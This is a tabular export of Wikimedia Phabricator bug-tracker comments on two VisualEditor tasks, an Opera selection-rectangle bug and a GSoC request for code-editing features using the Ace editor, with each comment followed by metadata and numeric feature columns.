+208273,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,The fix is merged now. Marking as fixed.,,,1367595441,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+208267,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,(Done is PS2.),,,1367168550,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208258,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"Hmm, apparently this also happens for non-empty selections in some cases. We're gonna need a larger workaround...",,,1367165002,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+208251,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,Related URL: https://gerrit.wikimedia.org/r/61190 (Gerrit Change I4bad882d1d6fb83bcdcfd0de3bfc9af52960c2ff),,,1367082013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208245,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"This seems to work:
+
+>>> range = document.getSelection().getRangeAt(0)
+Range 
+>>> span = document.createElement('span')
+<span/>
+>>> range.getClientRects()
+ClientRectList []
+>>> range.surroundContents(span)
+undefined
+>>> $(span).offset()
+{ left: 352, top: 1025 }
+
+Now we just have to substract window.scrollY from the 'top' value and remove the <span> from the DOM again. (And don't call .getClientRects() on that Range again, as it returns a completely bonkers huge list of values.)",,,1367069662,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+208240,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"So, what happens is that in Opera, for zero-length ranges (ie, just a caret, no selection):
+
+* .getSelection().getRangeAt(0) returns a Range
+* but then .getClientRects() returns an empty ClientRectList
+* and .getBoundingClientRect() returns a rectangle with all values being 0",,,1367067995,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+49742,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**Author:** `suitongbowgn`
+
+**Description:**
+Feature request:
+
+A feature that supports insertion and simple editing of source code snippets in a general article. It may include a simple grammar checking mechanism which checks some fundamental grammatical errors such as having a { without closing it, having a () with a trailing period and nothing else, having solely a pair of brackets, etc.; an indentation correction tool which will perform indentation formatting on the codes; a beautify code tool which will reorganize code formatting, including indentation to make the code more reader-friendly in format.
+
+
+Features:
+* Insert or edit a code block.
+* Basic IDE features (perhaps re-use WikiEditor/CodeEditor)
+ * Syntax validation (matching quotes/parenthesis/braces etc.)
+ * Follow indentation level when breaking lines.
+ * Live grammar highlighting.",Lowest,10.0,1366998060,1445531108.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ss5sivrosviwhazfuu4q,task_description,resolved,True,c1,1,False,False,False,-10,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+550469,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247474 merged by jenkins-bot:
+Use Ace editor widget for code input
+
+[[https://gerrit.wikimedia.org/r/247474]]",,,1445528834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+550466,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247851 merged by jenkins-bot:
+Introduce Ace editor widget
+
+[[https://gerrit.wikimedia.org/r/247851]]",,,1445528829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+549812,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247851 had a related patch set uploaded (by Esanders):
+Introduce Ace editor widget
+
+[[https://gerrit.wikimedia.org/r/247851]]
+",,,1445443909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+548993,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247474 had a related patch set uploaded (by Esanders):
+WIP Use Ace editor when available
+
+[[https://gerrit.wikimedia.org/r/247474]]
+",,,1445350934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+528692,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"A first step would be putting making an RL module for Ace in core. Each language is a separate JS file so we'd want submodules for each, like we used to do with GeSHi.",,,1442426303,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,115,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+528666,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,">>! In T49742#1645908, @Esanders wrote:
+> I think the best approach would be to convert the editor to a dialog and drop in CodeEditor's existing code editor (Ace), or some equivalent (CodeMirror).
+
+That could work.",,,1442424825,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,115,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1
+528665,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"I think the best approach would be to convert the editor to a dialog and drop in CodeEditor's existing code editor (Ace), or some equivalent (CodeMirror).",,,1442424794,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,115,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+232677,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 114529 had a related patch set uploaded by Jforrester:
+[WIP] Add VisualEditor support
+
+https://gerrit.wikimedia.org/r/114529",,,1404758232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,53,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+232671,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Re-opening as this is now unmerged.,,,1404758215,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+232664,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Marking this also as fixed by gerrit 68615 - congratulations again!,,,1380739898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+232655,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+Yes.
+
+(In reply to comment #19)
+> GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23
+> September. Has this project been completed?",,,1379521061,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1
+232647,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?",,,1379435009,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0
+232639,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+For now no codes from GeSHi are directly reused. I just used them as reference for regex patterns. I said 'port' due to this fact.
+
+(In reply to comment #17)
+> (In reply to comment #15)
+> > Have you considered using an existing highlighter
+> > library, or at least basing your implementation on a existing language spec
+> > format (e.g. implementing GeSHi language specs in JS?)
+> 
+> GeSHi is GPLv2+, whereas VisualEditor is MIT.  So if any GeSHi code is
+> reused,
+> the authorship and licensing should be made clear.",,,1378765646,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,10,,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1
+232634,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"(In reply to comment #15)
+> Have you considered using an existing highlighter
+> library, or at least basing your implementation on a existing language spec
+> format (e.g. implementing GeSHi language specs in JS?)
+
+GeSHi is GPLv2+, whereas VisualEditor is MIT.  So if any GeSHi code is reused, the authorship and licensing should be made clear.",,,1378765153,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,10,,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1
+232629,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+The highlighter spec is ported from GeSHi's php into js. I didn't find spec for validator so I came up with myself.
+
+(In reply to comment #15)
+> Tongbo: Re: your implmementation so far: Is the language spec something
+> you've
+> come up with yourself? Have you considered using an existing highlighter
+> library, or at least basing your implementation on a existing language spec
+> format (e.g. implementing GeSHi language specs in JS?)",,,1378509824,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,9,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1
+232626,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Tongbo: Re: your implmementation so far: Is the language spec something you've come up with yourself? Have you considered using an existing highlighter library, or at least basing your implementation on a existing language spec format (e.g. implementing GeSHi language specs in JS?)",,,1378509073,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,9,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0
+232623,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,CCing Andre who can give you editbugs.,,,1375196802,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+232619,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"If you don't have permission to do it yourself, it's probably because you don't have the 'editbugs' right.  Hopefully, someone on this bug can give it you.  If not, ask on IRC.",,,1375163246,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0
+232613,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 68615 had a related patch set uploaded by Jforrester:
+Source code editing
+
+https://gerrit.wikimedia.org/r/68615",,,1375162980,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+232607,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+Somebody with the power could you change the bug status to assigned, and it was assigned to me.
+Also anyone who is interested please feel free to give code review at the following patch.
+
+> Related URL: https://gerrit.wikimedia.org/r/68615 (Gerrit Change
+> I4adede9e05fd2236cee50ce03f597e8ff6b1914d)",,,1375162735,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+232601,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Related URL: https://gerrit.wikimedia.org/r/68615 (Gerrit Change I4adede9e05fd2236cee50ce03f597e8ff6b1914d),,,1371190144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+232592,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Just a note to say that Tongbo Sui has submitted a GSoC proposal related to this report: https://www.mediawiki.org/wiki/User:Beanixster
+
+Good luck!",,,1367534348,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232586,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+In a nutshell it would be a major front-end JS work and will leave backend as-is as much as possible. I'm pretty sure that it will only utilize tags currently available and won't affect backend at all.(In reply to comment #6)",,,1367169151,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+232578,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Given that this is about desired enhancements to a VisualEditor plugin for the SyntaxHighlight extension - bug 43126 - moving this there and marking as a dependency.,,,1367002940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+232573,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+I understand that the rich text is just a presentation and I can see in article source that the formats are defined using a set of markups. What I'm proposing is a plugin/feature which will take care of write the markup(plaintext) for the user when editing code snippets, just like what VisualEditor is intended to do (in my opinion). In addition source code needs special formatting that is different from natural written human language, so that's why I think the feature should include automatic indentation and such.
+For editing just a part of the text, I'm thinking of an interface similar to a pop-up window, obscuring parts of the editing window. Just like when you insert an image the editor will have a new window pop up asking image url, alt text, target, etc. When you click insert the editor will convert your choice in that pop-up window to the plaintext with tags and other markups, which will be visually reflected in the main WYSIWYG editor.
+
+(In reply to comment #5)
+> Ah, it seems I misunderstood, sorry. I though you are talking about the
+> source
+> code *of the article itself*, and it appears like you meant source code in
+> different languages, such as what's included in a <syntaxhighlight> tag.
+> 
+> Sorry and please disregard my comments :)
+
+(In reply to comment #4)
+> Making sure that arbitrary wikitext does not interact with other parts of the
+> page is difficult. It is possible to enforce this for extension content, but
+> generally not for arbitrary parts of a page.",,,1367000971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+232569,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Ah, it seems I misunderstood, sorry. I though you are talking about the source code *of the article itself*, and it appears like you meant source code in different languages, such as what's included in a <syntaxhighlight> tag.
+
+Sorry and please disregard my comments :)",,,1367000177,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+232566,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Making sure that arbitrary wikitext does not interact with other parts of the page is difficult. It is possible to enforce this for extension content, but generally not for arbitrary parts of a page.",,,1367000151,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+232563,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"If anything, it seems like this request would build on top of that one. It's currently just not possible to edit almost anything else than plaintext in VisualEditor (and it's not just an interface issue, but a backend one as well).
+
+I'm reopening and marking as dependent on that one, then. Feel free to adjust this :)",,,1367000062,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+232560,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:
+
+I believe that request is too broad and this one is more specific. (In reply to comment #1)
+> 
+%%%> *** This bug has been marked as a duplicate of bug 43133 ***%%%",,,1366998862,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+232553,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"
+
+*** This bug has been marked as a duplicate of bug 43133 ***",,,1366998592,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
